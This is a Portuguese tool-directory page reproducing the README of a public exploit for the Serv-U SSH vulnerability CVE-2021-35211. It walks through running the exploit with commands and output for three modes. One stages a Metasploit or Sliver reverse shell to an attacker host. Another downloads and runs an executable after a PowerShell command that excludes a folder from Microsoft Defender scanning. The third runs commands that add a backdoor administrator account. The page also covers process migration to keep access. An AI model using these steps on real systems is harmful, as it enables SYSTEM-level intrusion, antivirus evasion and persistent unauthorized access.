Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-35211 — Exploit do Serv-U-FTP CVE-2021-35211 | Kitploit
Ferramentas/GitHubGitHub/0xhaggis/cve-2021-35211
Análise de VulnerabilidadesExploraçãoShellcodeTestes de PenetraçãoComando e ControleFerramenta de Acesso RemotoDesenvolvimento de PayloadsExploração de Binários
GitHub0xhaggis/cve-2021-35211

CVE-2021-35211

Exploit do Serv-U-FTP CVE-2021-35211

Ver Repositório
13há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Exploit Serv-U CVE-2021-35211

Potencial de DoS - verifique suas regras de engajamento

O exploit não funciona todas as vezes, mas funciona o suficiente para executar shellcode em aproximadamente 1 em cada 5 ou 6 execuções. No entanto, às vezes um exploit falho pode travar o servidor Serv-U. Certifique-se de que suas regras de engajamento permitam o risco de perda ou degradação do serviço. Os sintomas observados nos testes incluem:

  • travamento e reinicialização automática (mais comum)
  • desconexão de usuários logados durante tentativas bem-sucedidas e malsucedidas
  • travamento com falha na reinicialização automática

Caveat emptor.

Início Rápido

As versões são importantes. Este exploit usa endereços ROP codificados que são válidos apenas contra a versão 15.2.3.717 do Serv-U. Podemos adicionar outras versões; por favor, pergunte se precisar que funcione com versões diferentes do Serv-U ou Windows.

Verifique a versão no seu alvo

root@kitploit:~
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717

Executando o exploit

Ele aceita os seguintes argumentos:

Baixar ferramenta
root@kitploit:~
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...

Existem três modos (ou payloads) que você pode executar em um ataque bem-sucedido:

  1. stage
  2. exec
  3. downloadexec

Modo Stage

Após um exploit bem-sucedido, executa um stager de shellcode compatível com Metasploit/Sliver. É o menos confiável de todos os payloads; considere downloadexec em vez disso. Execute assim:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort

positional arguments:
  stageHost   Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance
  stagePort   Port number for your staging instance

optional arguments:
  -h, --help  show this help message and exit

stageHost e stagePort apontarão para um handler de escuta na sua máquina Sliver/Metasploit. Você pode escolher qualquer payload que desejar, mas descobri que o único que funciona de forma confiável é windows/x64/shell/reverse_tcp. É uma pena porque isso não é um shell criptografado e você precisará verificar suas regras de engajamento antes de obter algo assim.

Novamente, caveat emptor.

Configure no Metasploit rodando na sua máquina Kali assim:

root@kitploit:~
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.

Então execute o exploit:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

De volta na máquina Kali, você deve ver a requisição de stage e o shell de comando iniciando:

root@kitploit:~
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000

msf5 >sessions -i 6
[*] Starting interaction with 6...


(c) Microsoft Corporation. All rights reserved.

C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system

Sliver

O suporte ao Sliver no payload stager é altamente experimental e raramente funciona. Se funcionar, você normalmente verá as sessões começarem e morrerem imediatamente. Mas se você conseguir uma sessão que não termine imediatamente, pode tomar medidas para manter seu acesso ao Sliver migrando para um processo diferente.

No seu servidor Sliver, execute o comando stage-listener para configurar seu listener. Veja a documentação do Sliver para mais detalhes sobre staging:

root@kitploit:~
elvis@h:/ehome/haggis$ sudo sliver-server

    ███████╗██╗     ██╗██╗   ██╗███████╗██████╗
    ██╔════╝██║     ██║██║   ██║██╔════╝██╔══██╗
    ███████╗██║     ██║██║   ██║█████╗  ██████╔╝
    ╚════██║██║     ██║╚██╗ ██╔╝██╔══╝  ██╔══██╗
    ███████║███████╗██║ ╚████╔╝ ███████╗██║  ██║
    ╚══════╝╚══════╝╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options

[*] Check for updates with the 'update' command

sliver > 
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode

Execute o exploit no modo stage:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Se o exploit funcionar (e raramente funciona com payloads Sliver ou Meterpreter), você verá algo assim (e sim, o Sliver inventou esse nome de payload sozinho!):

root@kitploit:~
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC

sliver > sessions -i 4

[*] Active session ARTISTIC_PANTIES (4)

sliver (ARTISTIC_PANTIES) > info

                ID: 4
              Name: ARTISTIC_PANTIES
          Hostname: WIN-EMCK6E5O0DI
              UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
          Username: NT AUTHORITY\SYSTEM
               UID: S-1-5-18
               GID: S-1-5-18
               PID: 3956
                OS: windows
           Version: Server 2016 build 20348 x86_64
              Arch: amd64
    Remote Address: example.com:57071
         Proxy URL: none
     Poll Interval: 1
Reconnect Interval: 60

A primeira coisa que você deve fazer é migrar para um processo diferente, porque há uma boa chance de sua sessão do Sliver morrer e não voltar, e não sei a causa raiz no momento da escrita.

root@kitploit:~
sliver (ARTISTIC_PANTIES) > ps

pid   ppid  owner                         executable                   session
===   ====  =====                         ==========                   =======
0     0                                   [System Process]             -1
4     0                                   System                       0
...
3872  728   NT AUTHORITY\SYSTEM           svchost.exe                  0
4868  728   BUILTIN\Administrators        Serv-U.exe                   0
4636  868   BUILTIN\Administrators        dllhost.exe                  0

sliver (ARTISTIC_PANTIES) > migrate 3872

[*] Successfully migrated to 3872

Neste ponto, você deve ter uma sessão Sliver sólida, imune às variações do Serv-U e deste exploit.

Modo de download e execução

O modo mais confiável e o menos propenso a ser detectado pela segurança de endpoint do Microsoft Defender. Isso porque ele usa um comando do Powershell (powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}") para adicionar uma exclusão de diretório ao Microsoft Defender para que binários Sliver/Meterpreter/seja lá o que for não sejam verificados em busca de malware. Isso protegerá você contra o Windows Defender, mas só isso; você precisará considerar outras tecnologias de segurança de endpoint, IDS de rede, etc.

Em caso de sucesso, baixa um binário de uma URL e o executa. Você precisará de um servidor web hospedando seu arquivo executável. Eu usei Python, mas observe que estou testando em uma rede local sem SSL. Em exploits reais, você precisará verificar suas regras de engajamento se quiser usar URLs não criptografadas.

Não pela primeira vez: caveat emptor.

Execute um listener HTTP simples assim:

root@kitploit:~
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

Com o listener em execução, você pode executar o exploit:

root@kitploit:~
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Você deve ver algo assim no seu listener:

root@kitploit:~
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -

O alvo executará calc.exe e reiniciará o serviço Serv-U para permitir que os usuários comecem a se conectar novamente. Observe que o executável não apresentará uma janela, mas se você executar este exemplo, deverá ver wincalc.exe no Gerenciador de Tarefas.

Modo de execução de comando

Em caso de sucesso, executa um comando no alvo. Execute assim:

root@kitploit:~
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Créditos

  • Os pesquisadores da Microsoft que fuzearam a vulnerabilidade: https://www.microsoft.com/security/blog/2021/09/02/a-deep-dive-into-the-solarwinds-serv-u-ssh-vulnerability/
  • @NattiSamson fez o PoC no qual meu código é baseado: https://github.com/NattiSamson/Serv-U-CVE-2021-35211/blob/main/CVE-2021-35211_PoC.py

Considerações finais

Este exploit tende a travar o processo remoto, infelizmente. Geralmente ele reinicia e estou tentando ver se posso torná-lo mais estável, mas até lá, lembre-se: verifique suas regras de engajamento e caveat emptor.